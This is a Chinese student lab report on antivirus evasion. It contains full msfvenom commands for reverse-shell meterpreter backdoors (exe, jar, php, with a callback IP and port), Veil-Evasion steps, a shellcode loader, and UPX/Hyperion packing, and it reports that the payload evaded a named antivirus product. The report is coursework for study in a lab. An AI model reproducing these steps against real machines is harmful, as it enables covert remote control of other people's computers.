2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践
免杀原理与实践说明
一、实验说明
- 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 任务二:通过组合应用各种技术实现恶意代码免杀(1分)
- 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 问:免杀是做什么?
- 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
- 问:免杀的基本方法有哪些?
- 改变特征码:
- 只有exe——加壳
- 有shellcode——利用shellcode生成可执行文件
- 有源代码——用其他语言重写再编译
- 改变行为:
- 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
- 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
- 改变特征码:
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,39款杀软中有28款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。
2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe指令进行多次编码,再使用virscan.org进行扫描,结果如下所示:

见鬼了,多次编码之后反而报毒的软件多了一款????可见单纯依靠多次编码之后的后门,还是会被大多数杀软发现并清理的。
msfvenom生成jar文件
生成java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> bd_java.jar生成文件如下所示:

扫描结果如下:

msfvenom生成php文件
生成PHP后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=5314 x> 20165314_backdoor.php生成文件如下所示:

扫描结果如下:

使用veil-evasion生成后门程序及检测
1、启动evil,选择evasion,指定payload为第七号即c/meterpreter/rev_tcp.py,选择设置好回连的IP地址和端口号后,生成后门文件:

2、放到virscan.org上扫描一下:

比之前用msf生成的文件报毒率低,但还是会被杀软检测出来。
注入Shellcode并执行
1、生成的shellcode如下图所示:

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

可以成功获取了windows权限。
3、不过,还是会被杀毒软件发现。
进行加壳尝试
压缩壳
- 使用UPX对生成的后门程序加壳:

- 扫描结果也比较乐观:

7、测试仍然可用:

加密壳
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/目录 - 进入目录
/usr/share/windows-binaries/hyperion/ - 输入命令
wine hyperion.exe -v bd_upxed.exe bd_upxed_hyperion.exe进行加壳


- 测试结果

任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀
- 任务成功截图:

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
受害者为win7虚拟机,使用金山毒霸,版本如下:

作案现场:

不在场证明:

至此,本周的三个实验,结束咯(束咯(咯~))!!
实验总结与体会
在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在展开过程中在16%、25%、44%都有卡住,我重复安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,但是我们现在学到的两种壳还是很容易被一些杀毒大厂识破。
开启杀软能绝对防止电脑中恶意代码吗?
肯定不行啊要有绝对用我们学这门课干啥呀?目前市面上的杀软采用的模式无非就是按照已知恶意代码的各方面特征进行匹配,好比按图索骥,这种方式只能对已有的恶意代码及由其衍生而来的次生代码进行甄别,但对于新开发的恶意代码,拥有全新的代码特征、行为模式,就无法被即时识别,我们学这门课的目的也就是从学习从攻击者角度进行思考、行动,从而减少恶意代码攻击成功的可能。
2018-2019-2 网络对抗技术 20165314 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- 【dp】摘花生
[题目描述] Hello Kitty想摘点花生送给她喜欢的米老鼠.她来到一片有网格状道路的矩形花生地(如下图),从西北角进去,东南角出来.地里每个道路的交叉点上都有种着一株花生苗,上面有若干颗花生,经 ...
- 超越村后端开发(2:新建models.py+xadmin的引入)
1.新建Model 1.users数据 1.在apps/users/models.py中: from datetime import datetime from django.db import mo ...
- C# Linq to Entity 多条件 OR查询
技术背景:框架MVC,linq to Entity 需要一定的lambda书写能力 问题:在简单的orm中完成一些简单的增删查改是通过where insert delete update 完成的,但是 ...
- oracle利用job创建一个定时任务,定时调用存储过程
--创建表 create table TESTWP ( ID ), C_DATE DATE ); select * from TESTWP; --2.创建一个sequence create seque ...
- Python菜鸟快乐游戏编程_pygame(2)
Python菜鸟快乐游戏编程_pygame(博主录制,2K分辨率,超高清) https://study.163.com/course/courseMain.htm?courseId=100618802 ...
- IPv4 forwarding is disabled. Networking will not work_问题解决
构建Docker镜像时遇见的问题,特做以下记录: 1.编辑 vi /etc/sysctl.conf 2.添加 net.ipv4.ip_forward=1 3.重启network服务 systemctl ...
- 2. Java内存区域
Java 虚拟机的内存模型分为两部分:一部分是线程共享的,包括 Java 堆和方法区:另一部分是线程私有的,包括虚拟机栈和本地方法栈,以及程序计数器这一小部分内存 2.1 程序计数器 程序计数器(Pr ...
- sql连接查询中的分类
sql连接查询中的分类 1.内连接(结果不保留表中未对应的数据) 1.1等值连接:关联条件的运算符是用等号来连接的. 1.2不等值连接:连接条件是出等号之外的操作符 1.3自然连接:特殊的等值连接,在 ...
- iTOP-4418开发板所用核心板研发7寸/10.1寸安卓触控一体机
iTOP-4418开发板所用核心板研发7寸/10.1寸安卓触控一体机 作为重中之重的电源管理选型,经多方对比测试最终选用AXP228,并得到原厂肯定 预留锂电池接口,内置充放电电路及电量计,可轻松搞定 ...
- ”dpkg: 处理归档 /var/cache/apt/archives/XXXXXX(--unpack)时出错“的解决方法
在安装ROS时出现了下面的问题: 解决方法: sudo dpkg -i --force-overwrite <filename> 在我的问题中我的解决方法是: sudo dpkg -i - ...